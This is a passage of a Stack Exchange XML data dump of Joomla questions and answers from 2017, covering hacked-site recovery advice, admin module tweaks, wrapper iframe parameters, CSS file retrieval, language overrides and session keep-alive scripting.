joomla site timezone to Pacific/Tahiti (hosted in UTC)" Tags="|php|.htaccess-configuration|server|hosting|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21275" PostTypeId="2" ParentId="21272" CreationDate="2017-08-01T11:57:27.723" Score="2" Body="&lt;p&gt;&lt;strong&gt;DON'T TRUST SITE OR MALWARE SCANNERS!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should use a firewall extension like Admin Tools to secure your cms. Unfortunately it's a bad practice to try to get your infected site back online, yeah because it's compromised and could have some backdoors now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The best and secure way would be setting up a new Joomla site and transferring your content by hand from your old site.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;But, what I do in such situations:&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Make a list of installed third-party extensions (plugins,&#xA;modules, components). Deactivate ALL OF THEM.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Duplicate the current database to a new one. (Databases should always have limited local access, no remote access! Don't use the old database password!) &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Setup a new Joomla installation, after the installation change&#xA;    the database to the duplicated one. This can lead to some errors if&#xA;    your database is from a different Joomla version. Reinstall the last&#xA;    Joomla update via com_joomlaupdate (?option=com_joomlaupdate), if&#xA;    necessary do a database repair run through the com_installer&#xA;    (?option=com_installer&amp;amp;view=database) .&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Reinstall your third-party extensions (latest version) and&#xA;    activate them one by one.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If possible, install a fresh and updated version of your frontend&#xA;    template. If it's custom or modified and you are familiar with PHP&#xA;    / JS and malware code, you can download your old template via FTP and&#xA;    check every file (php,js,css etc.) for malware code, remove it. Zip&#xA;    your template and install your template to the new site.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Install and setup Admin Tools firewall.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Check every third-party extension if they are really needed, if&#xA;    not, uninstall them. Mostly your form extensions or extensions with&#xA;    ajax calls are the weak point.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If possible, get a SSL-certificate (Let's Encrypt e.g.) and force&#xA;    SSL (Joomla config, htaccess) on your whole site.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Don't forget to change all user account passwords, your ftp&#xA;passwords and email passwords.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Delete all the data (ftp + database) from the old site and check if&#xA; there are more folders and files in the webspace root, those could&#xA; be also compromised and should be deleted or at least set chmod to&#xA; 000 to lock access to those files and folders. (not your new installation of course)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now you can start to unlist your domain from blacklists. Btw., always keep an eye on the folder and file permissions, NEVER use chmod 777!! (Admin Tools will handle this for you.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Folders: 755 or &quot;lower&quot;&#xA;Files:   644 or &quot;lower&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do backups every week or month. (Akeeba Backup is good for me.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Security&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Security&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://geekflare.com/joomla-security/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://geekflare.com/joomla-security/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7024" LastEditorUserId="7024" LastEditDate="2017-08-04T12:32:23.767" LastActivityDate="2017-08-04T12:32:23.767" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21276" PostTypeId="1" CreationDate="2017-08-01T12:30:30.040" Score="1" ViewCount="187" Body="&lt;p&gt;We are using K2 for the content in Joomla 3.6.5. We have created a plugin to add K2 quickicons to the list in the admin control panel, but we'd like to remove the joomla content quickicons from the list too as users keep adding content under joomla rather than under K2. In the mod_quickicon helper file for the function getButtons it is written:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This method returns the array by reference so it can be used to add&#xA;  custom buttons or remove default ones.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How can we access this function in our plugin to remove the joomla content links?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, James&lt;/p&gt;&#xA;" OwnerUserId="5523" LastActivityDate="2017-08-01T19:59:26.767" Title="How is possible to remove joomla content quickicons from the admin" Tags="|menu|joomla-3.6|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21278" PostTypeId="2" ParentId="21276" CreationDate="2017-08-01T19:59:26.767" Score="1" Body="&lt;p&gt;I'm not sure how you can remove the content's quickicons from the quickicon module. As a workaround you could disable the quickicon module and create a new administrator (custom) module and place it in the &quot;icon&quot; position.&lt;/p&gt;&#xA;" OwnerUserId="265" LastActivityDate="2017-08-01T19:59:26.767" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21279" PostTypeId="2" ParentId="21271" CreationDate="2017-08-01T20:13:41.363" Score="-1" Body="&lt;p&gt;Try removing this line;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app-&amp;gt;close();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11390" LastEditorUserId="126" LastEditDate="2017-08-02T05:10:58.547" LastActivityDate="2017-08-02T05:10:58.547" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21280" PostTypeId="2" ParentId="19230" CreationDate="2017-08-01T20:17:21.907" Score="0" Body="&lt;p&gt;I recommend this free popup maker extension&#xA;&lt;a href=&quot;https://www.everlive.net/joomla-extensions/18-create-popups-for-joomla.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.everlive.net/joomla-extensions/18-create-popups-for-joomla.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is easy to use and simple.&lt;/p&gt;&#xA;" OwnerUserId="11390" LastActivityDate="2017-08-01T20:17:21.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21281" PostTypeId="1" CreationDate="2017-08-02T08:38:14.553" Score="1" ViewCount="50" Body="&lt;p&gt;I got a plugin that uses the onAfterModuleList event, it works fine on most menu types. But it doesn't seem to be triggered in neither home or wrapper menu types. Event though there are modules assigned to those menu types. &#xA;Is this correct? or should it be triggered whenever there is a module assigned to the page&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am currently testing in Joomla 3.7.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;** Edit **&#xA;com_search views also don't seem to trigger that.&#xA;Any ideas how I could trigger onAfterModuleList trough the plugin for components that do not trigger that?&lt;/p&gt;&#xA;" OwnerUserId="11391" LastEditorUserId="11391" LastEditDate="2017-08-03T08:25:27.697" LastActivityDate="2018-09-03T06:01:04.197" Title="onAfterModuleList not triggered in Home or in Wrapper menu type?" Tags="|plugin|plugin-events|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21282" PostTypeId="1" AcceptedAnswerId="21329" CreationDate="2017-08-02T08:43:52.150" Score="1" ViewCount="1050" Body="&lt;p&gt;I have a requirement to pass parameters from the joomla calling URL to the wrapper iframe URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had a look around to see if I could do this and found this thread &lt;a href=&quot;https://stackoverflow.com/questions/12200934/pass-value-in-url-to-wrapped-url-in-joomla-2-5&quot;&gt;https://stackoverflow.com/questions/12200934/pass-value-in-url-to-wrapped-url-in-joomla-2-5&lt;/a&gt; for J2.5 version, which suggests customising the core wrapper files to achieve this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Find $url = $params-&amp;gt;def('url', '');&#xA;&#xA;Then add the following after it (as outlined in Abid's link)&#xA;&#xA;foreach ($_GET as $key =&amp;gt; $value) {&#xA;  if ($key&amp;lt;&amp;gt;&quot;option&quot; &amp;amp;&amp;amp; $key&amp;lt;&amp;gt;&quot;Itemid&quot;) {&#xA;    $url.=(strpos($url,&quot;?&quot;)) ? &quot;&amp;amp;&quot; : &quot;?&quot;;&#xA;    $url.=&quot;$key=$value&quot;;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So that is parsing the calling URL and adding the params to the of it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But customising core is generally a bad idea. I was wondering if it might be possible to achieve the same outcome using a template override?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created an override from /html/com_wrapper/wrapper/default.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In there the iframe code is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;iframe &amp;lt;?php echo $this-&amp;gt;wrapper-&amp;gt;load; ?&amp;gt;&#xA;    id=&quot;blockrandom&quot;&#xA;    name=&quot;iframe&quot;&#xA;    src=&quot;&amp;lt;?php echo $this-&amp;gt;escape($this-&amp;gt;wrapper-&amp;gt;url); ?&amp;gt;&quot;&#xA;    width=&quot;&amp;lt;?php echo $this-&amp;gt;escape($this-&amp;gt;params-&amp;gt;get('width')); ?&amp;gt;&quot;&#xA;    height=&quot;&amp;lt;?php echo $this-&amp;gt;escape($this-&amp;gt;params-&amp;gt;get('height')); ?&amp;gt;&quot;&#xA;    scrolling=&quot;&amp;lt;?php echo $this-&amp;gt;escape($this-&amp;gt;params-&amp;gt;get('scrolling')); ?&amp;gt;&quot;&#xA;    frameborder=&quot;&amp;lt;?php echo $this-&amp;gt;escape($this-&amp;gt;params-&amp;gt;get('frameborder', 1)); ?&amp;gt;&quot;&#xA;    class=&quot;wrapper&amp;lt;?php echo $this-&amp;gt;pageclass_sfx; ?&amp;gt;&quot;&amp;gt;&#xA;    &amp;lt;?php echo JText::_('COM_WRAPPER_NO_IFRAMES'); ?&amp;gt;&#xA;&amp;lt;/iframe&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So is it possible to add that same foreach logic into this code ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And would it work?&lt;/p&gt;&#xA;" OwnerUserId="3521" LastActivityDate="2017-08-10T13:22:50.700" Title="pass parameters to a wrapper url - Joomla3.x" Tags="|template-override|wrapper|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21283" PostTypeId="1" CreationDate="2017-08-02T13:44:15.827" Score="2" ViewCount="88" Body="&lt;p&gt;&lt;a href=&quot;https://www.jch-optimize.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;JCH&lt;/a&gt; outputs the combined and compressed CSS file as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/media/plg_jchoptimize/assets/gz/1/0/21258391ff538dceaca26d18cb55cb1b.css&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since this is a randomly generated link every time JCH refreshes the file, is there a way to retrieve the URL programmatically?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am thinking something like this URL would allow me to reference the CSS file from outside the Joomla! environment (this is just for reference as I realize it would never work as written):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/index.php?option=plg_jchoptimize&amp;amp;view=css&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The CSS reference is redirected to a PHP file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/media/plg_jchoptimize/assets/jscss.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The contents of that file are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once dirname(dirname(dirname(dirname(__FILE__)))) . '/plugins/system/jch_optimize/bootstrap.php';&#xA;&#xA;loadJchOptimizeClass('JchOptimizeOutput');&#xA;&#xA;JchOptimizeOutput::getCombinedFile();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5638" LastEditorUserId="5638" LastEditDate="2017-08-02T16:05:00.270" LastActivityDate="2017-08-02T16:05:00.270" Title="Retrieve JCH CSS file from outside Joomla?" Tags="|joomla-3.x|plugin|css|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21284" PostTypeId="2" ParentId="21283" CreationDate="2017-08-02T14:18:10.957" Score="2" Body="&lt;p&gt;Good question. Looking at a different approach, you could use PHP to get all the CSS files in the given directory and then import them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$dir = 'media/plg_jchoptimize/assets/gz/1/0/*.css';&#xA;&#xA;foreach (glob($dir) as $css)&#xA;{&#xA;    echo &quot;&amp;lt;link rel='stylesheet' href='$css'&amp;gt;\n&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is of course assuming that the website that's outside of your Joomla environment is on the same server&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="126" LastEditDate="2017-08-02T15:33:33.790" LastActivityDate="2017-08-02T15:33:33.790" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="21285" PostTypeId="2" ParentId="5754" CreationDate="2017-08-02T19:57:10.673" Score="1" Body="&lt;p&gt;The &lt;code&gt;insertid&lt;/code&gt; function, in Joomla 3.7.4 (and in many previous Joomla versions), relies on the extremely unreliable &lt;code&gt;mysqli_insert_id&lt;/code&gt; PHP function. On extremely active sites, this function will mostly return 0 or an inaccurate number. Let me explain a bit:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;If the last activity on the database is an &lt;code&gt;insert&lt;/code&gt; or an &lt;code&gt;update&lt;/code&gt; activity and the table structure has an autoincrement column, then the value of that column is returned.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If the last activity on the database is a &lt;code&gt;select&lt;/code&gt; activity, for example, then the function will return 0.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If there was another &lt;code&gt;insert&lt;/code&gt;/&lt;code&gt;update&lt;/code&gt; subsequent activity after your &lt;code&gt;insert&lt;/code&gt;, then the function will return the ID of the autoincrement column of the last &lt;code&gt;insert&lt;/code&gt;/&lt;code&gt;update&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The problem with this whole thing is not really Joomla, but MySQL, which doesn't have a reliable method to get the last ID inserted. The most reliable (but still far from ideal) method to get the last inserted ID is to query the table for a unique value. For example, if you are inserting a contact with a unique email, then you will need to query the table for his email.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps, and if someone has better information on the subject, then feel free to comment or edit this answer.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-08-02T19:57:10.673" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21286" PostTypeId="2" ParentId="20710" CreationDate="2017-08-02T22:30:14.677" Score="1" Body="&lt;p&gt;Note you should be using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::register('JToolbarHelper', JPATH_ADMINISTRATOR . '/includes/toolbar.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;going forward.&lt;/p&gt;&#xA;" OwnerUserId="7212" LastActivityDate="2017-08-02T22:30:14.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21287" PostTypeId="1" CreationDate="2017-08-03T04:45:30.367" Score="1" ViewCount="69" Body="&lt;p&gt;right now my Joomla 3.6.5 is running:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Portuguese Language in Frontend (site)&#xA;English Language in Backend&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wan to keep as that, but I need to change the error messages (in frontend) to english as well. But as my frontend language is setup to Portuguese, the error reporting messages are in Portugues also.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to keep using portuguese language to frontend, but the error messages in english?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Best Regards&#xA;Bruno Alecrim&lt;/p&gt;&#xA;" OwnerUserId="11396" LastActivityDate="2017-08-03T07:11:25.500" Title="Joomla 3.6 Change the language of the reporting error messages in frontend only?" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21288" PostTypeId="2" ParentId="21287" CreationDate="2017-08-03T07:11:25.500" Score="1" Body="&lt;p&gt;You can make &quot;Language Overrides&quot;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select in Backend the Menue &quot;Extensions &gt; Language(s) &gt; Overrides&quot;.&lt;/li&gt;&#xA;&lt;li&gt;set Filter to &quot;your Language - Administrator&quot; &lt;/li&gt;&#xA;&lt;li&gt;Click on Button &quot;New&quot;&lt;/li&gt;&#xA;&lt;li&gt;Search for Error Message at bottom left Column check Mark &quot;For both Locations&quot; so Front- and Backend-Message get changed&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Regards&lt;/p&gt;&#xA;" OwnerUserId="5630" LastActivityDate="2017-08-03T07:11:25.500" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21289" PostTypeId="1" AcceptedAnswerId="21290" CreationDate="2017-08-03T07:26:54.073" Score="1" ViewCount="105" Body="&lt;p&gt;I can create a component/module to fill main page area.  I can even embed that in an article, and have that article attached to a Menu Item with the Menu Manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I want my component to appear as an select-able option in the Menu Item Type dialog (Menus: Edit Item, then click on SELECT in the Menu Item Type line).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an XML entry or some other way of flagging my component so that it will appear in this dialog?&lt;/p&gt;&#xA;" OwnerUserId="11397" LastActivityDate="2017-08-03T07:57:52.510" Title="Creating a module/component that can be attached to a menu item with the Menu Item Type selector" Tags="|component|menu-item|custom-component|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21290" PostTypeId="2" ParentId="21289" CreationDate="2017-08-03T07:57:52.510" Score="1" Body="&lt;p&gt;After you have created your models/views, you need the respective .xml file for each of your view's templates that you want to add a menu item.&lt;/p&gt;&#xA;&lt;p&gt;See for example the &lt;code&gt;com_content&lt;/code&gt; component.&lt;/p&gt;&#xA;&lt;p&gt;Go into: &lt;code&gt;components/com_content/views/article/tmp&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;There you will see &lt;code&gt;default.php&lt;/code&gt; which is the template file and &lt;code&gt;default.xml&lt;/code&gt; which is the xml that defines the menu item for that template/layout.&lt;/p&gt;&#xA;&lt;h3&gt;Read also:&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/3579/joomla-3-x-extension-development-tutorial-for-a-beginner-developer&quot;&gt;Joomla 3.x extension development tutorial for a beginner developer&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_a_menu_type_to_the_site_part&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Developing an MVC Component/Adding a menu type to the site part&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2017-08-03T07:57:52.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21291" PostTypeId="2" ParentId="21237" CreationDate="2017-08-03T08:24:27.833" Score="0" Body="&lt;p&gt;I currently don't have a fresh image of the mod_articles_category and how it's coded - and I don't have the time to review it right now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case, in order to have this additional data (custom links) of the articles in the module's output (template), this data must become available from the &quot;model&quot; part of the module - the one that fetches the data of the articles from the database. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is usually handled within the modules' helper files. This is where you have to look to see if in it's data call the custom links are included and this is the place where a such call should be done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If those extra data aren't included, then there is not an easy way to override this - but you can easily create a clone of that module (a customized version of the same module) where you can create your own helper.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Read here for &lt;strong&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/655/how-to-develop-a-joomla-module/661#661&quot;&gt;How to develop a Joomla module?&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-08-03T08:24:27.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21292" PostTypeId="2" ParentId="21219" CreationDate="2017-08-03T20:09:43.643" Score="1" Body="&lt;p&gt;This is a standard Vm function - if you select &lt;strong&gt;Configuration &gt; Shopfront&lt;/strong&gt; on the right hand side there are options available for when products are out of stock...Change this to '&lt;strong&gt;Do not display product&lt;/strong&gt;'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/aaRCR.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/aaRCR.png&quot; alt=&quot;Hide products when out of stock&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apologies for the delayed response, I have been away.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&#xA;Donna&lt;/p&gt;&#xA;" OwnerUserId="7973" LastActivityDate="2017-08-03T20:09:43.643" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21293" PostTypeId="2" ParentId="16741" CreationDate="2017-08-03T20:58:30.720" Score="0" Body="&lt;p&gt;My solution, eurika, maybe it could work for anyone else...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am new in Joomla, and I was stuck in the same: Activation email not being sent. At first I create my classified page using djclass with an old version of Joomla, and at that point no activation mail, so I update it to 3.6.5, and still nothing, then update it to the new one (3.7.4), and solve a lot of problems that this update create and still no activation mail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I try everything I saw in forums and tutorials, including the test button and the SMTP config, and still nothing. I was using a gmail account in the From mail. The test pass OK, but still no activation mail....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I did is to create at my hosting a domain email, and set it at the FROM MAIL, then I test it creating a new user and it is working...&lt;/p&gt;&#xA;" OwnerUserId="11399" LastActivityDate="2017-08-03T20:58:30.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21294" PostTypeId="1" AcceptedAnswerId="21295" CreationDate="2017-08-04T10:21:53.700" Score="1" ViewCount="84" Body="&lt;p&gt;Am I guessing right that &lt;code&gt;&amp;lt;config&amp;gt;&lt;/code&gt; in manifest file for a Joomla library is not supported? Only for modules, components, templates and plugins?&lt;/p&gt;&#xA;" OwnerUserId="7077" LastActivityDate="2017-08-04T12:59:12.843" Title="Including extension configuration for a library" Tags="|configuration|libraries|manifest|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21295" PostTypeId="2" ParentId="21294" CreationDate="2017-08-04T12:59:12.843" Score="2" Body="&lt;p&gt;No (as far as I know), but you can register your lib through a plugin and plugins can have config manifests:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Using_own_library_in_your_extensions&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Using_own_library_in_your_extensions&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would just load the lib into my component and would set params there.&lt;/p&gt;&#xA;" OwnerUserId="7024" LastActivityDate="2017-08-04T12:59:12.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21296" PostTypeId="2" ParentId="21199" CreationDate="2017-08-04T14:56:33.010" Score="1" Body="&lt;p&gt;Just keep the session alive by pinging Joomla via JS:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;setInterval(function(){&#xA;&#xA;    var xhttp = new XMLHttpRequest();&#xA;    xhttp.open('get', 'https://yourdomain.tld/index.php', true);&#xA;    xhttp.send();&#xA;&#xA;    },30000);&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7024" LastActivityDate="2017-08-04T14:56:33.010" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21297" PostTypeId="1" AcceptedAnswerId="21322" CreationDate="2017-08-04T16:09:08.913" Score="2" ViewCount="743" Body="&lt;p&gt;Each user in my Joomla website has an associated contact, with photo, link, and bio (in the &lt;em&gt;miscellaneous information&lt;/em&gt; field), etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to override the edit profile page (&lt;code&gt;com_users/profile/edit.php&lt;/code&gt;), disabling the &lt;em&gt;user profile fieldset&lt;/em&gt;, and instead using a &lt;em&gt;contact profile fieldset&lt;/em&gt;, with selected fields from associated contact.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I add those fields to the form in the &lt;code&gt;edit.php&lt;/code&gt; file (and be sure that those fields will be actually updated on submit)?&lt;/p&gt;&#xA;" OwnerUserId="9355" LastActivityDate="2017-08-09T08:15:27.600" Title="Override the Edit profile form allowing edit of contact fields" Tags="|joomla-3.x|overrides|user|contact|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21298" PostTypeId="2" ParentId="21006" CreationDate="2017-08-05T06:42:45.733" Score="1" Body="&lt;p&gt;I have had the same problem and managed to fix it.&#xA;Goto template managerand click the mengamenu link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When it loads your menu, click the menu that has the issue so it shows the duplicates.&#xA;Then, turn OFF, submenu under Item Configuration.&#xA;Turn it ON and it should be fixed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that does not work, turn it OFF, then save before turning it back on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doing this cleared the duplicated entries across all installed template sub versions I had on a site.&lt;/p&gt;&#xA;" OwnerUserId="11401" LastActivityDate="2017-08-05T06:42:45.733" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21300" PostTypeId="1" CreationDate="2017-08-06T15:16:08.287" Score="2" ViewCount="102" Body="&lt;p&gt;I have had a category blog with a lot ot items and all of them has tags. I want to show tags, but when I choose Show Category [Hide] the tags is not visible. Show Category [Show] makes the tags visible. Why is this connected and how do I get around it?&#xA;Joomla 3.7.4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried with Protostar, same results as my default template.&lt;/p&gt;&#xA;" OwnerUserId="11404" LastEditorUserId="11404" LastEditDate="2017-08-09T08:20:44.990" LastActivityDate="2017-08-09T08:20:44.990" Title="Category blog - hide category (options) makes tags disappear" Tags="|tags|category-blog|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21301" PostTypeId="2" ParentId="21300" CreationDate="2017-08-06T19:10:54.873" Score="2" Body="&lt;p&gt;Using Protostar as Template and set in Menu &quot;Show Category&quot; to &quot;Hide&quot; and &quot;Show Tags&quot; to &quot;Show&quot; give what expected: No Category shown, Tags shown. No Matter if &quot;Position of Article Info&quot; is set to &quot;Above, Below or Split&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So i prefer to Test Behaviour using Protostar to look if your Issue depends on Template/Override.&lt;/p&gt;&#xA;" OwnerUserId="5630" LastActivityDate="2017-08-06T19:10:54.873" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21302" PostTypeId="1" CreationDate="2017-08-07T00:34:38.440" Score="3" ViewCount="65" Body="&lt;p&gt;I'm trying to get away from the deprecated Josetta translation component, which has always served us well, but is choking on php 7. I like what I see in 3.7 with the ability to perform side-by-side translations. I am trying to provide access to the interface in a way that any given user can only access the English version and their particular language. I've been trying some trial and error, but I'm not making much progress. I'm hoping there are others who have attempted this who might provide some guidance. Ideally, the English version would be read only, but I can live with the translators having access to it if necessary. I would also prefer that they do their editing on the front-end, if possible.&lt;/p&gt;&#xA;" OwnerUserId="11406" LastEditorUserId="11406" LastEditDate="2017-08-07T22:23:55.713" LastActivityDate="2017-08-07T22:23:55.713" Title="How can I provide language specific access to Multi-lingual Associations?" Tags="|joomla-3.x|multilingual|joomla-3.7|translation|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
